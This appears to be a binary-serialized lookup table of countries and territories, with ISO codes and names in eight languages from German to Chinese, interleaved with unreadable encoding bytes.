@FSerbie HLセルビア UGSérvia aLСербия mL塞尔维亚 (2 # z#j (V # z("D (V # z#j ( # z(m (V # z' ( ( V z $ BBF # *LBurkina Faso 3(3 ;(3 @(3 HUブルキナファソ UMBurquina Faso aWБуркина-Фасо mO布基纳法索 ( # z(V ( # z(? (  z( . (o (_ z(o (o # z( (o # z(' (o # z( (o # z(V (o # z(V (o # z( (o # z( a (o # z( (o  z()) (o # z( (o # z(H (o  z(" (o # z( (o # z( ( # z( (  z * BKH # *JKambodscha 3HCambodia ;GCamboya @HCambodge HRカンボジア国 UGCamboja aPКамбоджа mI柬埔寨 (5I # z( ( # z  BMK # *NNordmazedonien 3ONorth Macedonia ;SMacedonia del Norte @RMacédoine du Nord HR北マケドニア UJMacedônia a]Северная Македония mO前南马其顿 (5 # z(m ( # z(m ((( # z(% ! (_ z( !  z ! # z .k BLI # *MLiechtenstein 3(7 ;(7 @(7 H]リヒテンシュタイン公国 U(7 aVЛихтенштейн mO列支敦士登 (6 # z(# (b # z( (b # z("D #j # z .k^ BJE # *FJersey 3(7 ;(7 @(7 HOジャージー U(7 aLДжерси mI泽西岛 (7 # z' ( # z(Q ( # z( ( # z(? ( # z(V ( # z' ( # z( ( # z( ( # z( ( # z( ( # z( ( # z( ( # z( ( # z(S ( # z( ( # z( (Q # z( (Q # z( #j # z( #j # z#j #j(( # z( #j(( # z( #j # z( #j  z " # z( " # z( (#  z( (  z()) " # z#j " # z 2% BBA # *WBosnien und Herzegowina 3VBosnia and Herzegovina ;RBosnia-Herzegovina @SBosnie-Herzégovine H]ボスニア・ヘルツェゴビナ UUBósnia e Herzegovina a] Босния и Герцеговина mF波黑 (9  z(1o (1o  z( #j (_ z(o ( # z' ( (_ z( ( # z#j (Q # z( ((( # z( (H  z(" #j # z' (  z O BKG # *KKirgisistan 3JKyrgyzstan ;KKirguistán @KKirghizstan HUキルギス共和国 ULQuirguistão aTКыргызстан mR吉尔吉斯斯坦 (;E ( V z E' BRE # *HRéunion 3(< ;HReunión @(< HOレユニオン UHReunião aNРеюньон mI留尼汪 (; (_ z( ( # z#j (  z(! ( # z("D ( # z(V ( # z( (  z(" ( # z( ( # z(S ( # z( ( # z(Q ( # z({ (  z(;E ( (_ z( ( # z' (Q(( # z("D ( # z( ( # z' ( !B z! (Q # z({ (Q # z( (Q  z%] (Q  z(, (Q  z (Q (_ z(o (Q (/ z( (Q !B z Y  # *RAmerikanisch-Samoa 3NAmerican Samoa ;OSamoa Americana @RSamoa américaines HO米領サモア U(>$ a]Американское Самоа mO美属萨摩亚 (Q (_ z 6 BAI # *HAnguilla 3(> ;GAnguila @(> HLアンギラ U(> aNАнгилья mI安圭拉 (Q (_ z 6L BAG # *SAntigua und Barbuda 3SAntigua and Barbuda ;QAntigua y Barbuda @RAntigua-et-Barbuda H]アンティグア・バーブーダ URAntígua e Barbuda a]Антигуа и Барбуда mU安提瓜和巴布达 (Q (/ z(M (Q (_ z 6 BAW # *EAruba 3(@ ;(@ @(@ HLアルバ島 U(@ aJАруба mI阿鲁巴 (Q (_ z 6 BBS # *GBahamas 3(@} ;(@} @(@} HLバハマ国 U(@} aLБагамы mI巴哈马 (Q (_ z 3| BBB # *HBarbados 3(@ ;(@ @GBarbade HOバルバドス U(@ aPБарбадос mL巴巴多斯 (Q (_ z(g (Q (_ z 6a BBM # *GBermuda 3(Ae ;HBermudas @HBermudes HUバミューダ諸島 U(At a\Бермудские о-ва mI百慕大 (Q (/ z ;q BBO # *HBolivien 3GBolivia ;(A @GBolivie HUボリビア共和国 UHBolívia aNБоливия mL玻利维亚 (Q (_ z( (Q (_ z 6. BKY # *LKaimaninseln 3NCayman Islands ;MIslas Caimán @NÎles Caïmans HRケイマン諸島 ULIlhas Caiman a]Каймановы Острова mL开曼群岛 (Q (/ z(n (Q (/ z( (Q !B z  BCK # *JCookinseln 3LCook Islands ;JIslas Cook @JÎles Cook HOクック諸島 UJIlhas Cook aWОстрова Кука mL库克群岛 (Q (_ z(* (Q (_ z 6] BCU # *DKuba 3DCuba ;(D @(D HUキューバ共和国 U(D aHКуба mF古巴 (Q (_ z 6 BDM # *HDominica 3(Dd ;(Dd @IDominique HOドミニカ国 U(Dd aPДоминика mL多米尼克 (Q (_ z 5< BDO # *MDom. Republik 3RDominican Republic ;MSanto Domingo @WRépublique dominicaine HUドミニカ共和国 UURepública Dominicana a]Доминиканская Республика mL多米尼加 (Q (/ z 7Қ BEC # *GEcuador 3(E ;(E @IÉquateur HXエクアドル共和国 UGEquador aNЭквадор mL厄瓜多尔 (Q (_ z 6 BSV # *KEl Salvador 3(F8 ;(F8 @HSalvador HUエルサルバドル U(F8 aRСальвадор mL萨尔瓦多 (Q (/ z 5 BFK # *NFalklandinseln 3PFalkland Islands ;NIslas Malvinas @OÎles Malouines H[フォークランド諸島 UNIlhas Malvinas a]Фолклендские о-ва m]福克兰群岛(马尔维纳斯) (Q !B z !" BFJ # *GFidschi 3DFiji ;DFiyi @EFidji HLフィジー U(G aJФиджи mF斐济 (Q (_ z 6O BGD # *GGrenada 3(G ;GGranada @GGrenade HLグレナダ U(H aNГренада mL格林纳达 (Q (_ z 6' BGP # *JGuadeloupe 3(Hr ;IGuadalupe @(Hr HRグアドループ U(H aRГваделупа mL瓜德罗普 (Q !B z = BGU # *DGuam 3(H ;(H @(H HIグアム U(H aHГуам mF关岛 (Q (_ z 6 BGT # *IGuatemala 3(IE ;(IE @(IE HOグアテマラ U(IE aRГватемала mL危地马拉 (Q (/ z 3g BGY # *FGuyana 3(I ;(I @(I HLガイアナ UFGuiana aLГайана mI圭亚那 (Q (_ z 8 BHT # *EHaiti 3(J ;FHaití @FHaïti HRハイチ共和国 U(J aJГаити mF海地 (Q (_ z 7d BHN # *HHonduras 3(J ;(J @(J H[ホンジュラス共和国 U(J aPГондурас mL洪都拉斯 (Q (_ z 5@ BJM # *GJamaika 3GJamaica ;(K @IJamaïque HOジャマイカ U(K aLЯмайка mI牙买加 (Q !B z = BKI # *HKiribati 3(Kv ;(Kv @(Kv HUキリバス共和国 UIQuiribati aPКирибати mL基里巴斯 (Q (_ z 6 BMS # *JMontserrat 3(K ;(K @(K HUモントセラト島 U(K aTМонтсеррат mO蒙特塞拉特 (Q !B z  3 BNR # *ENauru 3(Lo ;(Lo @(Lo HIナウル U(Lo aJНауру mF瑙鲁 (Q (_ z 72 BNI # *INicaragua 3(L ;(L @(L HXニカラグア共和国 UJNicarágua aRНикарагуа mL尼加拉瓜 (Q !B z  % BNC # *MNeukaledonien 3MNew Caledonia ;ONueva Caledonia @SNouvelle-Calédonie HXニューカレドニア UONova Caledônia a]Новая Каледония mR新喀里多尼亚 (Q !B z = BNU # *DNiue 3(N ;(N @(N HLニウエ島 U(N aHНиуэ mF纽埃 (Q !B z  k BNF # *LNorfolkinsel 3NNorfolk Island ;LIsla Norfolk @LÎle Norfolk HUノーフォーク島 ULIlha Norfolk aTо-в Норфолк mL诺福克岛 (Q  z  BKP # *INordkorea 3KNorth Korea ;OCorea del Norte @NCorée du Nord H] 韓国、朝鮮民主主義人民共和国 UOCoreia do Norte aHКНДР mF朝鲜 (Q (_ z 8 BPA # *FPanama 3(O ;GPanamá @(O HIパナマ U(O aLПанама mI巴拿马 (Q !B z ޴ BPG # *OPapua-Neuguinea 3PPapua New Guinea ;SPapúa-Nueva Guinea @ZPapouasie-Nouvelle-Guinée H]パプア・ニューギニア UQPapua-Nova Guiné a] Папуа – Новая Гвинея mU巴布亚新几内亚 (Q (/ z 4t BPY # *HParaguay 3(Q ;(Q @(Q HXパラグアイ共和国 UHParaguai aPПарагвай mI巴拉圭 (Q (/ z <H BPE # *DPeru 3(Q ;EPerú @FPérou HRペルー共和国 U(Q aHПеру mF秘鲁 (Q  z& (Q !B z = BPN # *NPitcairninseln 3PPitcairn Islands ;NIslas Pitcairn @HPitcairn HUピトケアン諸島 UNIlhas Pitcairn aVо-ва Питкэрн mL皮特凯恩 (Q (_ z E BPR # *KPuerto Rico 3(R ;(R @JPorto Rico HRプエルトリコ U(R aUПуэрто-Рико mL波多黎各 (Q (_ z 6 BKN # *SSt. Kitts und Nevis 3RSt Kitts and Nevis ;WSan Cristóbal y Nieves @\Saint-Christophe-et-Niévès H] セントクリストファー・ネビス UYSão Cristóvão e Névis a]Сент-Китс и Невис mU圣基茨和尼维斯 (Q (_ z 6 BLC # *ISt. Lucia 3KSaint Lucia ;LSanta Lucía @LSainte-Lucie HRセントルシア ULSanta Lúcia aSСент-Люсия mL圣卢西亚 (Q (_ z 6 BVC # *]St. Vincent und die Grenadinen 3YSt Vincent and Grenadines ;\San Vicente y las Granadinas @]Saint-Vincent-et-les-Grenadines H]セントビンセント及びグレナディーン諸島 UYSão Vicente e Granadinas a]Сент-Винсент и Гренадины m]圣文森特和格林纳丁斯 (Q !B z =N BWS # *ESamoa 3(V ;(V @(V HL西サモア U(V aJСамоа mI萨摩亚 (Q !B z  6 BSB # *ISalomonen 3OSolomon Islands ;NIslas Salomón @MÎles Salomon HRソロモン諸島 UNIlhas Salomão a]Соломоновы Острова mO所罗门群岛 (Q (/ z 3 BSR # *HSuriname 3(W- ;GSurinam @(W- HUスリナム共和国 U(W- aNСуринам mI苏里南 (Q ( V z C BSZ # *HEswatini 3(W ;HEsuatini @ISwaziland HXスワジランド王国 UJEssuatíni aPЭсватини mL斯威士兰 (Q !B z =b BTK # *GTokelau 3(X. ;(X. @(X. HLトケラウ U(X. aNТокелау mI托克劳 (Q !B z = BTO # *ETonga 3(X ;(X @(X HOトンガ王国 U(X aJТонга mF汤加 (Q (_ z 6W BTT # *STrinidad und Tobago 3STrinidad and Tobago ;QTrinidad y Tobago @RTrinité-et-Tobago H]トリニダード・トバゴ UQTrinidad e Tobago a]Тринидад и Тобаго mX特立尼达和多巴哥 (Q (_ z 6T BTC # *WTurks- und Caicosinseln 3XTurks and Caicos Islands ;UIslas Turcas y Caicos @YÎles Turques-et-Caïques H]タークス・カイコス諸島 UUIlhas Turcas e Caicos a]о-ва Тёркс и Кайкос m[特克斯和凯科斯群岛 (Q !B z  3Y BTV # *FTuvalu 3(Z ;(Z @(Z HIツバル U(Z aLТувалу mI图瓦卢 (Q (/ z 4|Y BUY # *GUruguay 3([> ;([> @([> HXウルグアイ共和国 UGUruguai aNУругвай mI乌拉圭 (Q !B z  BVU # *GVanuatu 3([ ;([ @([ HUバヌアツ共和国 U([ aNВануату mL瓦努阿图 (Q (/ z 7Q BVE # *IVenezuela 3(\& ;(\& @LVénézuéla HXベネズエラ共和国 U(\& aRВенесуэла mL委内瑞拉 (Q (_ z 4B BPM # *WSt. Pierre und Miquelon 3YSaint Pierre and Miquelon ;USan Pedro y Miquelón @XSaint-Pierre et Miquelon H] サンピエール島・ミクロン島 UVSão Pedro e Miquelão a]Сен-Пьер и Микелон m]圣皮埃尔和密克隆群岛 (Q # z .i BAD # *GAndorra 3(] ;(] @GAndorre HLアンドラ U(] aNАндорра mI安道尔 (Q ( V z 3%G BAO # *FAngola 3(^% ;(^% @(^% HUアンゴラ共和国 U(^% aLАнгола mI安哥拉 (Q  z( (Q  z(1o (Q  z(,G (Q  z zu BBD # *KBangladesch 3JBangladesh ;(^ @(^ H] バングラディッシュ人民共和国 U(^ aRБангладеш mL孟加拉国 (Q # z  @ BBY # *GBelarus 3(_T ;KBielorrusia @LBiélorussie HXベラルーシ共和国 UMBielorrússia aPБеларусь mL白俄罗斯 (Q ( V z $" BBJ # *EBenin 3(_ ;FBenín @FBénin HRベニン共和国 U(_ aJБенин mF贝宁 (Q  z  BBT # *FBhutan 3(`S ;FBután @GBhoutan HRブータン王国 UFButão aJБутан mF不丹 (Q # z(9 (Q ( V z ? BBW # *HBotswana 3(` ;HBotsuana @(` HUボツワナ共和国 U(` aPБотсвана mL博茨瓦纳 (Q  z Ȏ BBN # *FBrunei 3(aM ;GBrunéi @(aM HLブルネイ U(aM a]Бруней-Даруссалам mF文莱 (Q # z( (Q ( V z(3 (Q ( V z( (Q  z(5I (Q ( V z( (Q ( V z 3~ BCV # *IKapverden 3JCabo Verde ;(b" @HCap-Vert HRカーボベルデ U(b" aSКабо-Верде mI佛得角 (Q ( V z  BCF # *\Zentralafrikanische Republik 3XCentral African Republic ;YRepública Centroafricana @LCentrafrique H[中央アフリカ共和国 UZRepública Centro-Africana a]#Центрально-Африканская Республика mF中非 (Q ( V z %% BTD # *FTschad 3DChad ;(c @ETchad HRチャド共和国 UEChade aFЧад mF乍得 (Q !B z  BCX # *OWeihnachtsinsel 3PChristmas Island ;OIsla de Navidad @NÎle Christmas HRクリスマス島 UNIlha Christmas aXо-в Рождества mI圣诞岛 (Q  z p BCC # *KKokosinseln 3WCocos (Keeling) Islands ;KIslas Cocos @KÎles Cocos H]ココス(キーリング)諸島 UUIlhas Cocos (Keeling) aZКокосовые о-ва m[科科斯(基林)群岛 (Q ( V z I BKM # *GKomoren 3GComoros ;GComoras @GComores H] コモロ・イスラム連邦共和国 U(e aZКоморские о-ва mI科摩罗 (Q ( V z 0 BCD # *EKongo 3HDR Congo ;RCongo Democrático @ECongo HXコンゴ民主共和国 UPCongo - Kinshasa aHЗаир mI扎伊尔 (Q ( V z " BCI # *OElfenbeinküste 3KIvory Coast ;PCôte d’Ivoire @NCôte d'Ivoire HL象牙海岸 U(f aVКот-д’Ивуар m(g (Q # z( (Q ( V z( (Q ( V z #; BGQ # *QÄquatorialguinea 3QEquatorial Guinea ;QGuinea Ecuatorial @TGuinée équatoriale HO赤道ギニア UQGuiné Equatorial a] Экваториальная Гвинея mO赤道几内亚 (Q ( V z (Z BER # *GEritrea 3(hA ;(hA @JÉrythrée HOエリトリア UHEritreia aNЭритрея mO厄立特里亚 (Q # z(# (Q ( V z (L BET # *JÄthiopien 3HEthiopia ;HEtiopía @IÉthiopie HOエチオピア UHEtiópia aNЭфиопия mO埃塞俄比亚 (Q # z (p BFO # *HFäröer 3MFaroe Islands ;KIslas Feroe @MÎles Féroé HRフェロー諸島 ULIlhas Faroé aZФарерские о-ва mL法罗群岛 (Q ( V z $) BGA # *EGabun 3EGabon ;FGabón @(j HRガボン共和国 UFGabão aJГабон mF加蓬 (Q ( V z $Ӌ BGM # *FGambia 3(jj ;(jj @FGambie HUガンビア共和国 UGGâmbia aLГамбия mI冈比亚 (Q  z(! (Q ( V z( (Q # z($ (Q # z(S (Q (_ z 4D BGL # *IGrönland 3IGreenland ;KGroenlandia @IGroenland HUグリーンランド ULGroenlândia aTГренландия mI格陵兰 (Q ( V z $2 BGW # *MGuinea-Bissau 3(k ;NGuinea-Bissáu @NGuinée-Bissau H[ギニアビサウ共和国 UMGuiné-Bissau aWГвинея-Бисау mO几内亚比绍 (Q ( V z $ BGN # *FGuinea 3(la ;(la @GGuinée HRギニア共和国 UFGuiné aLГвинея mI几内亚 (Q  z( (Q  z(/ (Q # z( (Q  z( (Q  z(" (Q ( V z( (Q  z [ BKW # *FKuwait 3(m- ;(m- @GKoweït HOクウェート U(m- aLКувейт mI科威特 (Q  z(;E (Q  z D" BLA # *DLaos 3(m ;(m @(m HIラオス U] República Popular Democrática do Laos aHЛаос mF老挝 (Q # z(% (Q  z(0 (Q ( V z ;T BLS # *GLesotho 3(nA ;(nA @(nA HOレソト王国 UFLesoto aLЛесото mI莱索托 (Q ( V z "8 BLR # *GLiberia 3(n ;(n @(n HUリベリア共和国 UHLibéria aNЛиберия mL利比里亚 (Q ( V z ! BLY # *FLibyen 3ELibya ;ELibia @ELibye H] 社会主義人民リビア・アラブ国 UFLíbia aJЛивия mI利比亚 (Q # z(6 (Q # z( (Q  z [ BMO # *EMacau 3EMacao ;(o @(o HIマカオ U(o aJМакао mF澳门 (Q # z(5 (Q ( V z 8# BMG # *JMadagaskar 3JMadagascar ;(pG @(pG H[マダガスカル共和国 U(pG aTМадагаскар mO马达加斯加 (Q ( V z & BMW # *FMalawi 3(p ;FMalaui @(p HUマラウイ共和国 UGMalauí aLМалави mI马拉维 (Q # z("D (Q  z  BMV # *IMalediven 3HMaldives ;HMaldivas @(qU HOモルディブ U(q` aPМальдивы mL马尔代夫 (Q ( V z %qj BML # *DMali 3(q ;(q @(q HOマリ共和国 U(q aHМали mF马里 (Q # z '' BMT # *EMalta 3(r% ;(r% @EMalte HLマルタ島 U(r% aLМальта mI马耳他 (Q ( V z $I` BMR # *KMauretanien 3JMauritania ;(r @JMauritanie H] モーリタニア・イスラム共和国 UKMauritânia aTМавритания mO毛利塔尼亚 (Q ( V z A BMU # *IMauritius 3(s8 ;HMauricio @GMaurice HRモーリシャス UIMaurício aPМаврикий mL毛里求斯 (Q # z( (Q # z -1 BMC # *FMonaco 3(s ;GMónaco @(s HIモナコ U(s aLМонако mI摩纳哥 (Q  z  BMN # *HMongolei 3HMongolia ;(t: @HMongolie HOモンゴル国 UIMongólia aPМонголия mF蒙古 (Q # z 0 BME # *JMontenegro 3(t ;(t @LMonténégro HRモンテネグロ U(t aTЧерногория mF黑山 (Q ( V z &ɷ BMA # *GMarokko 3GMorocco ;IMarruecos @EMaroc HRモロッコ王国 UHMarrocos aNМарокко mI摩洛哥 (Q ( V z ҭ BMZ # *HMosambik 3JMozambique ;(u @(u H[モザンビーク共和国 UKMoçambique aPМозамбик mL莫桑比克 (Q  z B BMM # *GMyanmar 3(v2 ;RMyanmar (Birmania) @(v2 HUミャンマー連邦 USMianmar (Birmânia) aYМьянма (Бирма) mF缅甸 (Q ( V z 32 BNA # *GNamibia 3(v ;(v @GNamibie HUナミビア共和国 UHNamíbia aNНамибия mL纳米比亚 (Q  z  BNP # *ENepal 3(wF ;(wF @FNépal HRネパール王国 U(wF aJНепал mI尼泊尔 (Q ( V z %= BNE # *ENiger 3(w ;FNíger @(w HXニジェール共和国 U(w aJНигер mI尼日尔 (Q ( V z #^ BNG # *GNigeria 3(x ;(x @(x H]ナイジェリア連邦共和国 UHNigéria aNНигерия mL尼日利亚 (Q  z( u (Q  z  BPK # *HPakistan 3(x ;IPakistán @(x H] パキスタン・イスラム共和国 UJPaquistão aPПакистан mL巴基斯坦 (Q  z( (Q  z(^ (Q ( V z jH BDJ # *IDschibuti 3HDjibouti ;FYibuti @(yt HIジブチ UGDjibuti aNДжибути mI吉布提 (Q ( V z "~ BCG # *VKongo (Republik Kongo) 3NCongo Republic ;(fS @TRépublique du Congo HRコンゴ共和国 U(fS a]Республика Конго mO刚果共和国 (Q # z( (Q ( V z n BRW # *FRuanda 3FRwanda ;(z @(z HUルワンダ共和国 U(z aLРуанда mI卢旺达 (Q ( V z 3n BSH # *JSt. Helena 3LSaint Helena ;KSanta Elena @OSainte-Hélène HRセントヘレナ ULSanta Helena aVо-в Св. Елены mL圣赫勒拿 (Q # z 0WD BSM # *JSan Marino 3({ ;({ @KSaint-Marin HXサンマリノ共和国 U({ aSСан-Марино mL圣马力诺 (Q ( V z $ BST # *XSão Tomé und Príncipe 3XSão Tomé and Príncipe ;WSanto Tomé y Príncipe @USao Tomé-et-Principe H]サントメ・プリンシペ UVSão Tomé e Príncipe a]Сан-Томе и Принсипи mX圣多美和普林西比 (Q  z()) (Q ( V z "D BSN # *GSenegal 3(}D ;(}D @ISénégal HUセネガル共和国 U(}D aNСенегал mL塞内加尔 (Q # z(2 (Q ( V z $ BSL # *LSierra Leone 3(} ;LSierra Leona @(} HRシエラレオネ UJSerra Leoa aWСьерра-Леоне mL塞拉利昂 (Q # z(% (Q ( V z Q BSO # *GSomalia 3(~i ;(~i @GSomalie HLソマリア UHSomália aLСомали mI索马里 (Q  z S BLK # *ISri Lanka 3(~ ;(~ @(~ H] スリランカ民主社会主義共和国 U(~ aQШри-Ланка mL斯里兰卡 (Q ( V z  BSD # *ESudan 3(d ;FSudán @FSoudan HUスーダン共和国 UFSudão aJСудан mF苏丹 (Q # z  C` BSJ # *YSpitzbergen und Jan Mayen 3VSvalbard and Jan Mayen ;TSvalbard y Jan Mayen @USvalbard et Jan Mayen H]スバールバル諸島・ヤンマイエン島 UTSvalbard e Jan Mayen a] Шпицберген и Ян-Майен m]斯瓦尔巴岛和扬马延岛 (Q  z(/+ (Q  z 9 BTJ # *MTadschikistan 3JTajikistan ;KTayikistán @KTadjikistan H[タジキスタン共和国 UMTadjiquistão aVТаджикистан mO塔吉克斯坦 (Q ( V z(b (Q  z"B (Q ( V z $& BTG # *DTogo 3( ;( @( HRトーゴ共和国 U( aHТого mF多哥 (Q ( V z % BTN # *HTunesien 3GTunisia ;FTúnez @GTunisie HXチュニジア共和国 UHTunísia aJТунис mI突尼斯 (Q  z  BTM # *LTurkmenistan 3( ;MTurkmenistán @MTurkménistan HXトルクメニスタン UNTurcomenistão aXТуркменистан mO土库曼斯坦 (Q ( V z(m (Q # z( (Q # z(m (Q  z( (Q  z  BUZ # *JUsbekistan 3JUzbekistan ;KUzbekistán @LOuzbékistan H]ウズベキスタン共和国 ULUzbequistão aTУзбекистан mR乌兹别克斯坦 (Q # z( (Q  z' (Q  z  BYE # *EJemen 3EYemen ;(b @FYémen HUイエメン共和国 UFIêmen aJЙемен mF也门 (Q ( V z  BZM # *FSambia 3FZambia ;( @FZambie HUザンビア共和国 UGZâmbia aLЗамбия mI赞比亚 (Q ( V z  hS BZW # *HSimbabwe 3HZimbabwe ;GZimbawe @(O HXジンバブエ共和国 UIZimbábue aPЗимбабве mL津巴布韦 (Q # z( (Q  z  BAF # *KAfghanistan 3( ;KAfganistán @( H] アフガニスタン・イスラム国 ULAfeganistão aTАфганистан mI阿富汗 (Q # z  BAL # *HAlbanien 3GAlbania ;( @GAlbanie HXアルバニア共和国 UHAlbânia aNАлбания mO阿尔巴尼亚 (Q ( V z ' BDZ # *HAlgerien 3GAlgeria ;GArgelia @HAlgérie H] アルジェリア民主人民共和国 UHArgélia aJАлжир mO阿尔及利亚 (Q # z(28 (Q # z .k BIM # *KIsle of Man 3( ;KIsla de Man @KÎle de Man HIマン島 UKIlha de Man aLо-в Мэн mR英国属地曼岛 ( # z .l: BGG # *HGuernsey 3(4 ;IGuernesey @(D HOガーンジー U(4 aLГернси mI根西岛 ( # z( ( # z($ ( # z(Q (  z%] ( !B z! ( ( V z(o (o  z( . ( # z#j (V # z(Q #j ( V z(  (  z(I (I # z(_C (_C  z(" ( # z(' (V # z( (V  z(} (V (_ z(o (V # z( (m (_ z(o (m ( V z ' BYT # *GMayotte 3( ;( @( HOマヨット島 U( aNМайотта mI马约特 6z' BMQ # *JMartinique 3(& ;IMartinica @(& HUマルティニーク U(8 aRМартиника mL马提尼克 (_ z( ( (_ z(H] ( (_ z 65' BMF # *JSt. Martin 3LSaint Martin ;KSan Martín @LSaint-Martin HUサン・マルタン UMSão Martinho aSСен-Мартен mO法属圣马丁 ( (/ z 3' BGF # *TFranzösisch-Guayana 3MFrench Guiana ;PGuayana Francesa @FGuyane HO仏領ギアナ UOGuiana Francesa a]Французская Гвиана mO法属圭亚那 ( (_ z( ( (_ z(& (  z%] ( # z( ( .  z(m (  z ((( (_ z( ( # z' ( # z( (m # z(Q (m # z( (m # z(# (m # z(V (m # z' (m # z( (m # z( (m # z( (m  z%] (m (_ z(& (m !B z(+ (m  z" '  z(" (  z(} (} # z(Q ( . # z' (!  z ( # z' ( !B z(+ ( # z("D (? # z(' (? # z(% (? # z( (? # z({ ( # z( (V  z( . (Q (/ z( (V (/ z( (V (/ z(Qw (V (_ z(& (V !B z! (V (_ z(O (V (/ z(n (V (/ z([- (V (/ z(M (V # z' ( # z(Q ( (_ z(o ( # z( (b # z(Q (b # z( # # z( ( # z( ( ( V z(b (b # z( (b # z( (b # z( (b # z( a (b # z( (b # z(V ( # z( ( # z({ ( # z' ( .  z(" " # z(V ( # z( ( # z( ( # z(Q ( ( V z(W ( ( V z(f (  z(/ ( # z#j ( # z( ( # z( ( . # z#j (1o  z( (Q # z(V # # z(r (  z(^ (^  z( . ( # z( ( # z( (  z ( # z("D ( ( V z( ( # z( ( # z(m (b # z( ( # z( (  z(0 '  z # # z( #j  z" (Q # z( ( (_ z(& ( # z("D ( # z( (Q # z(H (Q # z( (V # z' (  z"B (  z #  z$A ( # z(V (  z" (H (_ z( ( (_ z( (o  z# ( # z( ( !B z! ( (_ z( (/  z" (o  z (o # z( (  z (  z(} ( # z( #j # z( #j # z(' #j # z( #j # z' #j(( # z( (  z ( # z' (' # z(Q " (/ z(M (  z(m (m # z( ( a # z( ( a # z( ( a # z( ( a # z({ ( a # z( ( a # z(Q ( a # z(H ( a # z( ( a # z(' ( a # z("D ( a # z(% ( a # z( ( a # z(9 ( a # z(2 ( a # z(? ( a # z(m ( a # z( ( a # z( ( a # z( ( a # z(S ( a # z( ( a # z( ( a # z( ( a # z(V ( a  z(1o (  z(^ (  z(`B (  z(a< ( # z(H ( (_ z( ( # z( # (_ z(D (D # z( a ( # z( a ( (_ z(H] (H] ( V z(  (V (/ z( (V # z(m (V # z(_C #j  z" (V  z( . (V # z( #j (/ z( #j  z( (V # z(? (V !B z! (V  z( . #j  z #j # z( (V  z(" (V # z( ((( # z( ( # z(V ( # z(r (r # z  M BXK # *FKosovo 3( ;( @( HIコソボ U( aLКосово mI科索沃 (i # z( ( # z(6 ( (_ z( (V !B z = BPF # *WFranzösisch-Polynesien 3PFrench Polynesia ;RPolinesia Francesa @UPolynésie française HU仏領ポリネシア USPolinésia Francesa a] Французская Полинезия mU法属波利尼西亚 ( # z($ ( (_ z(AT ( !B z(N ( # z(? ( # z(V ( # z( ( # z( ( (/ z( ( (_ z( (% # z' (% # z( a (  z"B (V  z(1o (V # z( ("D ( V z(  ( (_ z(\ ( (_ z(O (O # z( ( # z' %] # z(Q %] # z#j ( # z( (  z%] ( # z( ( # z' (# # z( (  z (H  z( . (H  z(m ( # z( ( # z(_C ( # z(V ( # z({ ( # z(? ( # z(H ( # z(V (Q !B z = BMP # *SNördliche Marianen 3XNorthern Mariana Islands ;XIslas Marianas del Norte @WÎles Mariannes du Nord HU北マリアナ諸島 UWIlhas Marianas do Norte a]Северные Марианские о-ва mO北马里亚纳 ( !B z(H ( (_ z(D ( # z(S ( (/ z(Qw ( (_ z I1g BVI # *\Amerikanische Jungferninseln 3SU.S. Virgin Islands ;ZIslas Vírgenes de EE. UU. @]Îles Vierges des États-Unis H[米領ヴァージン諸島 UXIlhas Virgens Americanas a]Виргинские о-ва (США) mU美属维尔京群岛 ( (_ z(* ( # z(# ( ( V z(x ( # z( ( ( V z(^ (  z& ( # z( ( # z( ( # z( ( # z( ( # z( ( # z(V ( # z(' ( # z(2 ( # z( ( !B z YV BUM # *\Amerikanische Überseeinseln 3UU.S. Outlying Islands ;]Islas menores alejadas de EE. UU. @] Îles mineures éloignées des États-Unis HX合衆国領有小離島 U]Ilhas Menores Distantes dos EUA a] Внешние малые о-ва (США) mX美国本土外小岛屿 ( # z( ( # z(% ( (_ z(R ( # z("D (  z %] # z( %] # z#j %]  z( %]  z"B %]  z& %]  z' %]  z()) %]  z(, %]  z" %]((  z# %]  z$A %] (/ z(E ( (_ z(I4 ( (/ z(\ ( (_ z(O ( (_ z(Jx ( (_ z(F' ( (_ z(L ( # (  z (  z (((  z $  z' $  z% $  z$A $  z"B $  z(t $  z# $  z( $  z& $ !B z(+ (+ !B z(Z (  z(d ( !B z([ ( !B z d BTL # *KTimor-Leste 3( ;( @NTimor Oriental H[東ティモール共和国 U( aUТимор-Лесте mI东帝汶 (  z(~ ( !B z(V (  z(t (  z(^ (^  z(x (x  z(t (t # z( a ( # z( (  z(, (,  z# (, !B z(P %] !B z(X %] !B z(Vb %] !B z([ %] !B z(G %] !B z(H %] !B z(CD %] !B z(Z %] !B z(+ %] # z( %] # z( %] # z( %] # z(V %] # z(? %] ( V z( %]  z(~ #  z" $A !B z(P (P  (  z( u (  z%] (o  z& (o  z(o ( (_ z(J ( # z(i (  z(! (  z( ( (_ z(X ( (_ z(C (  z(5I ( # z(9 (  z( ( # z( (b  z( . (b (_ z(o (b (_ z(Y ( (_ z(G (G (_ z(o (_ z(R (R (_ z( !B z(+ (o (_ z(S (S (_ z(? (? (_ z 6l BBL # *OSt. Barthélemy 3QSaint Barthélemy ;NSan Bartolomé @QSaint-Barthélemy H[サン・バルテルミー UOSão Bartolomeu a]Остров Святого Бартоломея mO圣巴泰勒米 (G # z' ((( (_ z( ( (_ z(o (o  z(N ( (_ z( (o  z(o (o (_ z(J (J # z(Q (o ( (_ z(T (T # z(  z$ (_ z(T (T (_ z(@l (@l (_ z(DS (DS (_ z(Bp (Bp  z(v! ( (_ z(G ( (/ z([- (  z(;E (  z# (o  z (o  z(" ( (_ z( # z( # z(Q  z" # z( (/ z(Qw (_ z(g ( V z(x # z(  z()) (/ z(\ (_ z(@l ( V z(u  z( u (/ z(  z(I (_ z(@ (@ # z' (o (/ z(A ( (/ z( ( (/ z(P (P (_ z(I4 (I4 (/ z( ( (/ z(M (M # z( (Q  z(w5 (w5 (/ z(E (E !B z(X (X  z(o "  z%] "  z(v! (v!  z& ! !B z! !B z! %]  z(q8 (q8 (_ z( # !B z! (+ !B z(M: (M: !B z! "  z% "  z# " !B z(G (G !B z = BWF # *QWallis und Futuna 3QWallis and Futuna ;OWallis y Futuna @PWallis-et-Futuna HXウォリス・フツナ UOWallis e Futuna a\Уоллис и Футуна mU瓦利斯和富图纳 ( (_ z(& %] ( V z(  %] # z( %]  z$ $(( # z( ( . # z(2 ' # z( (O # z( (5 # z( (6 (_ z( ({  z (  z# ( # z( ( # z( (  z$ ( !B z(+ ( (_ z(o (  z ( # z(V ( # z(H ( (/ z( (  z% ( (_ z(& ( (/ z(M (  z(, ( # z( a ( # z( ( (_ z( (? # z( ( # z( (V # z(? (Q # z( (? (_ z(& (  z" (  z"B (V # z( (/ # z(V ( # z(i (i # z(Q (S # z( ( # z( ( (_ z( ( . (/ z(E (  z(^ ( ( 